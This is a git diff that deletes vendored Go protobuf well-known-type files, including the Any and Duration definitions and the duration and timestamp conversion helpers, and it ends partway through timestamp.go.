results based on the - // URL, or have them precompiled into a binary to avoid any - // lookup. Therefore, binary compatibility needs to be preserved - // on changes to types. (Use versioned type names to manage - // breaking changes.) - // - // Note: this functionality is not currently available in the official - // protobuf release, and it is not used for type URLs beginning with - // type.googleapis.com. - // - // Schemes other than `http`, `https` (or the empty scheme) might be - // used with implementation specific semantics. - // - TypeUrl string `protobuf:"bytes,1,opt,name=type_url,json=typeUrl,proto3" json:"type_url,omitempty"` - // Must be a valid serialized protocol buffer of the above specified type. - Value []byte `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *Any) Reset() { *m = Any{} } -func (m *Any) String() string { return proto.CompactTextString(m) } -func (*Any) ProtoMessage() {} -func (*Any) Descriptor() ([]byte, []int) { - return fileDescriptor_b53526c13ae22eb4, []int{0} -} - -func (*Any) XXX_WellKnownType() string { return "Any" } - -func (m *Any) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_Any.Unmarshal(m, b) -} -func (m *Any) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_Any.Marshal(b, m, deterministic) -} -func (m *Any) XXX_Merge(src proto.Message) { - xxx_messageInfo_Any.Merge(m, src) -} -func (m *Any) XXX_Size() int { - return xxx_messageInfo_Any.Size(m) -} -func (m *Any) XXX_DiscardUnknown() { - xxx_messageInfo_Any.DiscardUnknown(m) -} - -var xxx_messageInfo_Any proto.InternalMessageInfo - -func (m *Any) GetTypeUrl() string { - if m != nil { - return m.TypeUrl - } - return "" -} - -func (m *Any) GetValue() []byte { - if m != nil { - return m.Value - } - return nil -} - -func init() { - proto.RegisterType((*Any)(nil), "google.protobuf.Any") -} - -func init() { proto.RegisterFile("google/protobuf/any.proto", fileDescriptor_b53526c13ae22eb4) } - -var fileDescriptor_b53526c13ae22eb4 = []byte{ - // 185 bytes of a gzipped FileDescriptorProto - 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x92, 0x4c, 0xcf, 0xcf, 0x4f, - 0xcf, 0x49, 0xd5, 0x2f, 0x28, 0xca, 0x2f, 0xc9, 0x4f, 0x2a, 0x4d, 0xd3, 0x4f, 0xcc, 0xab, 0xd4, - 0x03, 0x73, 0x84, 0xf8, 0x21, 0x52, 0x7a, 0x30, 0x29, 0x25, 0x33, 0x2e, 0x66, 0xc7, 0xbc, 0x4a, - 0x21, 0x49, 0x2e, 0x8e, 0x92, 0xca, 0x82, 0xd4, 0xf8, 0xd2, 0xa2, 0x1c, 0x09, 0x46, 0x05, 0x46, - 0x0d, 0xce, 0x20, 0x76, 0x10, 0x3f, 0xb4, 0x28, 0x47, 0x48, 0x84, 0x8b, 0xb5, 0x2c, 0x31, 0xa7, - 0x34, 0x55, 0x82, 0x49, 0x81, 0x51, 0x83, 0x27, 0x08, 0xc2, 0x71, 0xca, 0xe7, 0x12, 0x4e, 0xce, - 0xcf, 0xd5, 0x43, 0x33, 0xce, 0x89, 0xc3, 0x31, 0xaf, 0x32, 0x00, 0xc4, 0x09, 0x60, 0x8c, 0x52, - 0x4d, 0xcf, 0x2c, 0xc9, 0x28, 0x4d, 0xd2, 0x4b, 0xce, 0xcf, 0xd5, 0x4f, 0xcf, 0xcf, 0x49, 0xcc, - 0x4b, 0x47, 0xb8, 0xa8, 0x00, 0x64, 0x7a, 0x31, 0xc8, 0x61, 0x8b, 0x98, 0x98, 0xdd, 0x03, 0x9c, - 0x56, 0x31, 0xc9, 0xb9, 0x43, 0x8c, 0x0a, 0x80, 0x2a, 0xd1, 0x0b, 0x4f, 0xcd, 0xc9, 0xf1, 0xce, - 0xcb, 0x2f, 0xcf, 0x0b, 0x01, 0x29, 0x4d, 0x62, 0x03, 0xeb, 0x35, 0x06, 0x04, 0x00, 0x00, 0xff, - 0xff, 0x13, 0xf8, 0xe8, 0x42, 0xdd, 0x00, 0x00, 0x00, -} diff --git a/vendor/github.com/golang/protobuf/ptypes/any/any.proto b/vendor/github.com/golang/protobuf/ptypes/any/any.proto deleted file mode 100644 index 4932942558..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/any/any.proto +++ /dev/null @@ -1,154 +0,0 @@ -// Protocol Buffers - Google's data interchange format -// Copyright 2008 Google Inc. All rights reserved. -// https://developers.google.com/protocol-buffers/ -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -syntax = "proto3"; - -package google.protobuf; - -option csharp_namespace = "Google.Protobuf.WellKnownTypes"; -option go_package = "github.com/golang/protobuf/ptypes/any"; -option java_package = "com.google.protobuf"; -option java_outer_classname = "AnyProto"; -option java_multiple_files = true; -option objc_class_prefix = "GPB"; - -// `Any` contains an arbitrary serialized protocol buffer message along with a -// URL that describes the type of the serialized message. -// -// Protobuf library provides support to pack/unpack Any values in the form -// of utility functions or additional generated methods of the Any type. -// -// Example 1: Pack and unpack a message in C++. -// -// Foo foo = ...; -// Any any; -// any.PackFrom(foo); -// ... -// if (any.UnpackTo(&foo)) { -// ... -// } -// -// Example 2: Pack and unpack a message in Java. -// -// Foo foo = ...; -// Any any = Any.pack(foo); -// ... -// if (any.is(Foo.class)) { -// foo = any.unpack(Foo.class); -// } -// -// Example 3: Pack and unpack a message in Python. -// -// foo = Foo(...) -// any = Any() -// any.Pack(foo) -// ... -// if any.Is(Foo.DESCRIPTOR): -// any.Unpack(foo) -// ... -// -// Example 4: Pack and unpack a message in Go -// -// foo := &pb.Foo{...} -// any, err := ptypes.MarshalAny(foo) -// ... -// foo := &pb.Foo{} -// if err := ptypes.UnmarshalAny(any, foo); err != nil { -// ... -// } -// -// The pack methods provided by protobuf library will by default use -// 'type.googleapis.com/full.type.name' as the type URL and the unpack -// methods only use the fully qualified type name after the last '/' -// in the type URL, for example "foo.bar.com/x/y.z" will yield type -// name "y.z". -// -// -// JSON -// ==== -// The JSON representation of an `Any` value uses the regular -// representation of the deserialized, embedded message, with an -// additional field `@type` which contains the type URL. Example: -// -// package google.profile; -// message Person { -// string first_name = 1; -// string last_name = 2; -// } -// -// { -// "@type": "type.googleapis.com/google.profile.Person", -// "firstName": , -// "lastName": -// } -// -// If the embedded message type is well-known and has a custom JSON -// representation, that representation will be embedded adding a field -// `value` which holds the custom JSON in addition to the `@type` -// field. Example (for message [google.protobuf.Duration][]): -// -// { -// "@type": "type.googleapis.com/google.protobuf.Duration", -// "value": "1.212s" -// } -// -message Any { - // A URL/resource name that uniquely identifies the type of the serialized - // protocol buffer message. The last segment of the URL's path must represent - // the fully qualified name of the type (as in - // `path/google.protobuf.Duration`). The name should be in a canonical form - // (e.g., leading "." is not accepted). - // - // In practice, teams usually precompile into the binary all types that they - // expect it to use in the context of Any. However, for URLs which use the - // scheme `http`, `https`, or no scheme, one can optionally set up a type - // server that maps type URLs to message definitions as follows: - // - // * If no scheme is provided, `https` is assumed. - // * An HTTP GET on the URL must yield a [google.protobuf.Type][] - // value in binary format, or produce an error. - // * Applications are allowed to cache lookup results based on the - // URL, or have them precompiled into a binary to avoid any - // lookup. Therefore, binary compatibility needs to be preserved - // on changes to types. (Use versioned type names to manage - // breaking changes.) - // - // Note: this functionality is not currently available in the official - // protobuf release, and it is not used for type URLs beginning with - // type.googleapis.com. - // - // Schemes other than `http`, `https` (or the empty scheme) might be - // used with implementation specific semantics. - // - string type_url = 1; - - // Must be a valid serialized protocol buffer of the above specified type. - bytes value = 2; -} diff --git a/vendor/github.com/golang/protobuf/ptypes/doc.go b/vendor/github.com/golang/protobuf/ptypes/doc.go deleted file mode 100644 index c0d595da7a..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/doc.go +++ /dev/null @@ -1,35 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -/* -Package ptypes contains code for interacting with well-known types. -*/ -package ptypes diff --git a/vendor/github.com/golang/protobuf/ptypes/duration.go b/vendor/github.com/golang/protobuf/ptypes/duration.go deleted file mode 100644 index 26d1ca2fb5..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/duration.go +++ /dev/null @@ -1,102 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package ptypes - -// This file implements conversions between google.protobuf.Duration -// and time.Duration. - -import ( - "errors" - "fmt" - "time" - - durpb "github.com/golang/protobuf/ptypes/duration" -) - -const ( - // Range of a durpb.Duration in seconds, as specified in - // google/protobuf/duration.proto. This is about 10,000 years in seconds. - maxSeconds = int64(10000 * 365.25 * 24 * 60 * 60) - minSeconds = -maxSeconds -) - -// validateDuration determines whether the durpb.Duration is valid according to the -// definition in google/protobuf/duration.proto. A valid durpb.Duration -// may still be too large to fit into a time.Duration (the range of durpb.Duration -// is about 10,000 years, and the range of time.Duration is about 290). -func validateDuration(d *durpb.Duration) error { - if d == nil { - return errors.New("duration: nil Duration") - } - if d.Seconds < minSeconds || d.Seconds > maxSeconds { - return fmt.Errorf("duration: %v: seconds out of range", d) - } - if d.Nanos <= -1e9 || d.Nanos >= 1e9 { - return fmt.Errorf("duration: %v: nanos out of range", d) - } - // Seconds and Nanos must have the same sign, unless d.Nanos is zero. - if (d.Seconds < 0 && d.Nanos > 0) || (d.Seconds > 0 && d.Nanos < 0) { - return fmt.Errorf("duration: %v: seconds and nanos have different signs", d) - } - return nil -} - -// Duration converts a durpb.Duration to a time.Duration. Duration -// returns an error if the durpb.Duration is invalid or is too large to be -// represented in a time.Duration. -func Duration(p *durpb.Duration) (time.Duration, error) { - if err := validateDuration(p); err != nil { - return 0, err - } - d := time.Duration(p.Seconds) * time.Second - if int64(d/time.Second) != p.Seconds { - return 0, fmt.Errorf("duration: %v is out of range for time.Duration", p) - } - if p.Nanos != 0 { - d += time.Duration(p.Nanos) * time.Nanosecond - if (d < 0) != (p.Nanos < 0) { - return 0, fmt.Errorf("duration: %v is out of range for time.Duration", p) - } - } - return d, nil -} - -// DurationProto converts a time.Duration to a durpb.Duration. -func DurationProto(d time.Duration) *durpb.Duration { - nanos := d.Nanoseconds() - secs := nanos / 1e9 - nanos -= secs * 1e9 - return &durpb.Duration{ - Seconds: secs, - Nanos: int32(nanos), - } -} diff --git a/vendor/github.com/golang/protobuf/ptypes/duration/duration.pb.go b/vendor/github.com/golang/protobuf/ptypes/duration/duration.pb.go deleted file mode 100644 index 0d681ee21a..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/duration/duration.pb.go +++ /dev/null @@ -1,161 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// source: google/protobuf/duration.proto - -package duration - -import ( - fmt "fmt" - proto "github.com/golang/protobuf/proto" - math "math" -) - -// Reference imports to suppress errors if they are not otherwise used. -var _ = proto.Marshal -var _ = fmt.Errorf -var _ = math.Inf - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the proto package it is being compiled against. -// A compilation error at this line likely means your copy of the -// proto package needs to be updated. -const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package - -// A Duration represents a signed, fixed-length span of time represented -// as a count of seconds and fractions of seconds at nanosecond -// resolution. It is independent of any calendar and concepts like "day" -// or "month". It is related to Timestamp in that the difference between -// two Timestamp values is a Duration and it can be added or subtracted -// from a Timestamp. Range is approximately +-10,000 years. -// -// # Examples -// -// Example 1: Compute Duration from two Timestamps in pseudo code. -// -// Timestamp start = ...; -// Timestamp end = ...; -// Duration duration = ...; -// -// duration.seconds = end.seconds - start.seconds; -// duration.nanos = end.nanos - start.nanos; -// -// if (duration.seconds < 0 && duration.nanos > 0) { -// duration.seconds += 1; -// duration.nanos -= 1000000000; -// } else if (durations.seconds > 0 && duration.nanos < 0) { -// duration.seconds -= 1; -// duration.nanos += 1000000000; -// } -// -// Example 2: Compute Timestamp from Timestamp + Duration in pseudo code. -// -// Timestamp start = ...; -// Duration duration = ...; -// Timestamp end = ...; -// -// end.seconds = start.seconds + duration.seconds; -// end.nanos = start.nanos + duration.nanos; -// -// if (end.nanos < 0) { -// end.seconds -= 1; -// end.nanos += 1000000000; -// } else if (end.nanos >= 1000000000) { -// end.seconds += 1; -// end.nanos -= 1000000000; -// } -// -// Example 3: Compute Duration from datetime.timedelta in Python. -// -// td = datetime.timedelta(days=3, minutes=10) -// duration = Duration() -// duration.FromTimedelta(td) -// -// # JSON Mapping -// -// In JSON format, the Duration type is encoded as a string rather than an -// object, where the string ends in the suffix "s" (indicating seconds) and -// is preceded by the number of seconds, with nanoseconds expressed as -// fractional seconds. For example, 3 seconds with 0 nanoseconds should be -// encoded in JSON format as "3s", while 3 seconds and 1 nanosecond should -// be expressed in JSON format as "3.000000001s", and 3 seconds and 1 -// microsecond should be expressed in JSON format as "3.000001s". -// -// -type Duration struct { - // Signed seconds of the span of time. Must be from -315,576,000,000 - // to +315,576,000,000 inclusive. Note: these bounds are computed from: - // 60 sec/min * 60 min/hr * 24 hr/day * 365.25 days/year * 10000 years - Seconds int64 `protobuf:"varint,1,opt,name=seconds,proto3" json:"seconds,omitempty"` - // Signed fractions of a second at nanosecond resolution of the span - // of time. Durations less than one second are represented with a 0 - // `seconds` field and a positive or negative `nanos` field. For durations - // of one second or more, a non-zero value for the `nanos` field must be - // of the same sign as the `seconds` field. Must be from -999,999,999 - // to +999,999,999 inclusive. - Nanos int32 `protobuf:"varint,2,opt,name=nanos,proto3" json:"nanos,omitempty"` - XXX_NoUnkeyedLiteral struct{} `json:"-"` - XXX_unrecognized []byte `json:"-"` - XXX_sizecache int32 `json:"-"` -} - -func (m *Duration) Reset() { *m = Duration{} } -func (m *Duration) String() string { return proto.CompactTextString(m) } -func (*Duration) ProtoMessage() {} -func (*Duration) Descriptor() ([]byte, []int) { - return fileDescriptor_23597b2ebd7ac6c5, []int{0} -} - -func (*Duration) XXX_WellKnownType() string { return "Duration" } - -func (m *Duration) XXX_Unmarshal(b []byte) error { - return xxx_messageInfo_Duration.Unmarshal(m, b) -} -func (m *Duration) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { - return xxx_messageInfo_Duration.Marshal(b, m, deterministic) -} -func (m *Duration) XXX_Merge(src proto.Message) { - xxx_messageInfo_Duration.Merge(m, src) -} -func (m *Duration) XXX_Size() int { - return xxx_messageInfo_Duration.Size(m) -} -func (m *Duration) XXX_DiscardUnknown() { - xxx_messageInfo_Duration.DiscardUnknown(m) -} - -var xxx_messageInfo_Duration proto.InternalMessageInfo - -func (m *Duration) GetSeconds() int64 { - if m != nil { - return m.Seconds - } - return 0 -} - -func (m *Duration) GetNanos() int32 { - if m != nil { - return m.Nanos - } - return 0 -} - -func init() { - proto.RegisterType((*Duration)(nil), "google.protobuf.Duration") -} - -func init() { proto.RegisterFile("google/protobuf/duration.proto", fileDescriptor_23597b2ebd7ac6c5) } - -var fileDescriptor_23597b2ebd7ac6c5 = []byte{ - // 190 bytes of a gzipped FileDescriptorProto - 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x92, 0x4b, 0xcf, 0xcf, 0x4f, - 0xcf, 0x49, 0xd5, 0x2f, 0x28, 0xca, 0x2f, 0xc9, 0x4f, 0x2a, 0x4d, 0xd3, 0x4f, 0x29, 0x2d, 0x4a, - 0x2c, 0xc9, 0xcc, 0xcf, 0xd3, 0x03, 0x8b, 0x08, 0xf1, 0x43, 0xe4, 0xf5, 0x60, 0xf2, 0x4a, 0x56, - 0x5c, 0x1c, 0x2e, 0x50, 0x25, 0x42, 0x12, 0x5c, 0xec, 0xc5, 0xa9, 0xc9, 0xf9, 0x79, 0x29, 0xc5, - 0x12, 0x8c, 0x0a, 0x8c, 0x1a, 0xcc, 0x41, 0x30, 0xae, 0x90, 0x08, 0x17, 0x6b, 0x5e, 0x62, 0x5e, - 0x7e, 0xb1, 0x04, 0x93, 0x02, 0xa3, 0x06, 0x6b, 0x10, 0x84, 0xe3, 0x54, 0xc3, 0x25, 0x9c, 0x9c, - 0x9f, 0xab, 0x87, 0x66, 0xa4, 0x13, 0x2f, 0xcc, 0xc0, 0x00, 0x90, 0x48, 0x00, 0x63, 0x94, 0x56, - 0x7a, 0x66, 0x49, 0x46, 0x69, 0x92, 0x5e, 0x72, 0x7e, 0xae, 0x7e, 0x7a, 0x7e, 0x4e, 0x62, 0x5e, - 0x3a, 0xc2, 0x7d, 0x05, 0x25, 0x95, 0x05, 0xa9, 0xc5, 0x70, 0x67, 0xfe, 0x60, 0x64, 0x5c, 0xc4, - 0xc4, 0xec, 0x1e, 0xe0, 0xb4, 0x8a, 0x49, 0xce, 0x1d, 0x62, 0x6e, 0x00, 0x54, 0xa9, 0x5e, 0x78, - 0x6a, 0x4e, 0x8e, 0x77, 0x5e, 0x7e, 0x79, 0x5e, 0x08, 0x48, 0x4b, 0x12, 0x1b, 0xd8, 0x0c, 0x63, - 0x40, 0x00, 0x00, 0x00, 0xff, 0xff, 0xdc, 0x84, 0x30, 0xff, 0xf3, 0x00, 0x00, 0x00, -} diff --git a/vendor/github.com/golang/protobuf/ptypes/duration/duration.proto b/vendor/github.com/golang/protobuf/ptypes/duration/duration.proto deleted file mode 100644 index 975fce41aa..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/duration/duration.proto +++ /dev/null @@ -1,117 +0,0 @@ -// Protocol Buffers - Google's data interchange format -// Copyright 2008 Google Inc. All rights reserved. -// https://developers.google.com/protocol-buffers/ -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -syntax = "proto3"; - -package google.protobuf; - -option csharp_namespace = "Google.Protobuf.WellKnownTypes"; -option cc_enable_arenas = true; -option go_package = "github.com/golang/protobuf/ptypes/duration"; -option java_package = "com.google.protobuf"; -option java_outer_classname = "DurationProto"; -option java_multiple_files = true; -option objc_class_prefix = "GPB"; - -// A Duration represents a signed, fixed-length span of time represented -// as a count of seconds and fractions of seconds at nanosecond -// resolution. It is independent of any calendar and concepts like "day" -// or "month". It is related to Timestamp in that the difference between -// two Timestamp values is a Duration and it can be added or subtracted -// from a Timestamp. Range is approximately +-10,000 years. -// -// # Examples -// -// Example 1: Compute Duration from two Timestamps in pseudo code. -// -// Timestamp start = ...; -// Timestamp end = ...; -// Duration duration = ...; -// -// duration.seconds = end.seconds - start.seconds; -// duration.nanos = end.nanos - start.nanos; -// -// if (duration.seconds < 0 && duration.nanos > 0) { -// duration.seconds += 1; -// duration.nanos -= 1000000000; -// } else if (durations.seconds > 0 && duration.nanos < 0) { -// duration.seconds -= 1; -// duration.nanos += 1000000000; -// } -// -// Example 2: Compute Timestamp from Timestamp + Duration in pseudo code. -// -// Timestamp start = ...; -// Duration duration = ...; -// Timestamp end = ...; -// -// end.seconds = start.seconds + duration.seconds; -// end.nanos = start.nanos + duration.nanos; -// -// if (end.nanos < 0) { -// end.seconds -= 1; -// end.nanos += 1000000000; -// } else if (end.nanos >= 1000000000) { -// end.seconds += 1; -// end.nanos -= 1000000000; -// } -// -// Example 3: Compute Duration from datetime.timedelta in Python. -// -// td = datetime.timedelta(days=3, minutes=10) -// duration = Duration() -// duration.FromTimedelta(td) -// -// # JSON Mapping -// -// In JSON format, the Duration type is encoded as a string rather than an -// object, where the string ends in the suffix "s" (indicating seconds) and -// is preceded by the number of seconds, with nanoseconds expressed as -// fractional seconds. For example, 3 seconds with 0 nanoseconds should be -// encoded in JSON format as "3s", while 3 seconds and 1 nanosecond should -// be expressed in JSON format as "3.000000001s", and 3 seconds and 1 -// microsecond should be expressed in JSON format as "3.000001s". -// -// -message Duration { - - // Signed seconds of the span of time. Must be from -315,576,000,000 - // to +315,576,000,000 inclusive. Note: these bounds are computed from: - // 60 sec/min * 60 min/hr * 24 hr/day * 365.25 days/year * 10000 years - int64 seconds = 1; - - // Signed fractions of a second at nanosecond resolution of the span - // of time. Durations less than one second are represented with a 0 - // `seconds` field and a positive or negative `nanos` field. For durations - // of one second or more, a non-zero value for the `nanos` field must be - // of the same sign as the `seconds` field. Must be from -999,999,999 - // to +999,999,999 inclusive. - int32 nanos = 2; -} diff --git a/vendor/github.com/golang/protobuf/ptypes/timestamp.go b/vendor/github.com/golang/protobuf/ptypes/timestamp.go deleted file mode 100644 index 8da0df01ac..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/timestamp.go +++ /dev/null @@ -1,132 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package ptypes - -// This file implements operations on google.protobuf.Timestamp. - -import ( - "errors" - "fmt" - "time" - - tspb "github.com/golang/protobuf/ptypes/timestamp" -) - -const ( - // Seconds field of the earliest valid Timestamp. - // This is time.Date(1, 1, 1, 0, 0, 0, 0, time.UTC).Unix(). - minValidSeconds = -62135596800 - // Seconds field just after the latest valid Timestamp. - // This is time.Date(10000, 1, 1, 0, 0, 0, 0, time.UTC).Unix(). - maxValidSeconds = 253402300800 -) - -// validateTimestamp determines whether a Timestamp is valid. -// A valid timestamp represents a time in the range -// [0001-01-01, 10000-01-01) and has a Nanos field -// in the range [0, 1e9). -// -// If the Timestamp is valid, validateTimestamp returns nil. -// Otherwise, it returns an error that describes -// the problem. -// -// Every valid Timestamp can be represented by a time.Time, but the converse is not true. -func validateTimestamp(ts *tspb.Timestamp) error { - if ts == nil { - return errors.New("timestamp: nil Timestamp") - } - if ts.Seconds < minValidSeconds { - return fmt.Errorf("timestamp: %v before 0001-01-01", ts) - } - if ts.Seconds >= maxValidSeconds { - return fmt.Errorf("timestamp: %v after 10000-01-01", ts) - } - if ts.Nanos < 0 || ts.Nanos >= 1e9 { - return fmt.Errorf("timestamp: %v: nanos not in range [0, 1e9)", ts) - } - return nil -} - -// Timestamp converts a google.protobuf.Timestamp proto to a time.Time. -// It returns an error if the argument is invalid. -// -// Unlike most Go functions, if Timestamp returns an error, the first return value -// is not the zero time.Time. Instead, it is the value obtained from the -// time.Unix function when passed the contents of the Timestamp, in the UTC -// locale. This may or may not be a meaningful time; many invalid Timestamps -// do map to valid time.Times. -// -// A nil Timestamp returns an error. The first return value in that case is -// undefined. -func Timestamp(ts *tspb.Timestamp) (time.Time, error) { - // Don't return the zero value on error, because corresponds to a valid - // timestamp. Instead return whatever time.Unix gives us. - var t time.Time - if ts == nil { - t = time.Unix(0, 0).UTC() // treat nil like the empty Timestamp - } else { - t = 